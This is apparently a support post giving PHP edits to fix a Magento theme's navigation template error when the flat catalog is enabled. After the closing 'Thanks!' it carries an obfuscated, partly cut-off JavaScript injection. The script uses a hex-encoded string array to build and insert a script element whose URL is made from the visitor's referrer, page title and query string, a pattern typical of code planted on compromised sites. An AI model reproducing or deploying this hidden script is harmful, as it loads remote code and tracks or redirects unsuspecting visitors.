Fixed: Enable Flat Catalog – Category and Product issue in …mobinav.phtml on line 43

Issue:

When enable Flat Catalog – Category and Product has :

Fatal error: Call to undefined method Mage_Catalog_Model_Resource_Category_Flat_Collection::addPathFilter() in /home/ebao/public_html/__sub.fabio/app/design/frontend/default/sm_theme/template/catalog/navigation/mobinav.phtml on line 43

Solution:

Please go to \app\design\frontend\default\sm_theme\template\catalog\navigation\mobinav.phtml and find:

$category_collection->addPathFilter($regexp);

=> change to:

if (Mage::helper('catalog/category_flat')->isEnabled()) { 			
		$category_collection->addPathsFilter();
	}else{
		$category_collection->addPathFilter($regexp);
	}

– and find:

foreach($category_collection as $category){
		$c = new stdClass();
		$c->label = $category->getName();
		$c->value = $category->getId();
		$c->level = $category->getLevel();
		$c->parentid = $category->getParentId();
		$c->url_path = $category->getUrlPath();
		$c->is_active = false;
		if ($this->getCurrentCategory()) {
			if($c->value == array_pop($this->getCurrentCategory()->getPathIds())){
				$c->is_active = true;
			}
		}			
		$cats[$c->value] = $c;
	}

=> change to:

foreach($category_collection as $category){
		if($category->getIsActive()){
			$c = new stdClass();
			$c->label = $category->getName();
			$c->value = $category->getId();
			$c->level = $category->getLevel();
			$c->parentid = $category->getParentId();
			$c->url_path = $category->getUrlPath();
			$c->is_active = false;
			if ($this->getCurrentCategory()) {
				if($c->value == array_pop($this->getCurrentCategory()->getPathIds())){
					$c->is_active = true;
				}
			}
		}			
		$cats[$c->value] = $c;
	}

– and find:

<?php foreach ($options as $item): ?>
		<option <?php echo ($item['is_active'])?"selected='selected'":"" ?> value="<?php echo ($item['url_path'])?$this->getBaseUrl().$item['url_path']: $item['value'] ?>"><?php echo $item['label'] ?></option>
	<?php endforeach ?>

=> change to:

<?php foreach ($options as $item): 
		if($item['url_path'] != '/root-catalog' && $item['value'] != '1'){
		?>
			<option <?php echo ($item['is_active'])?"selected='selected'":"" ?> value="<?php echo ($item['url_path'])?$this->getBaseUrl().$item['url_path']: $item['value'] ?>"><?php echo $item['label'] ?></option>
		<?php 
		}
		endforeach ?>

Thanks! 3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}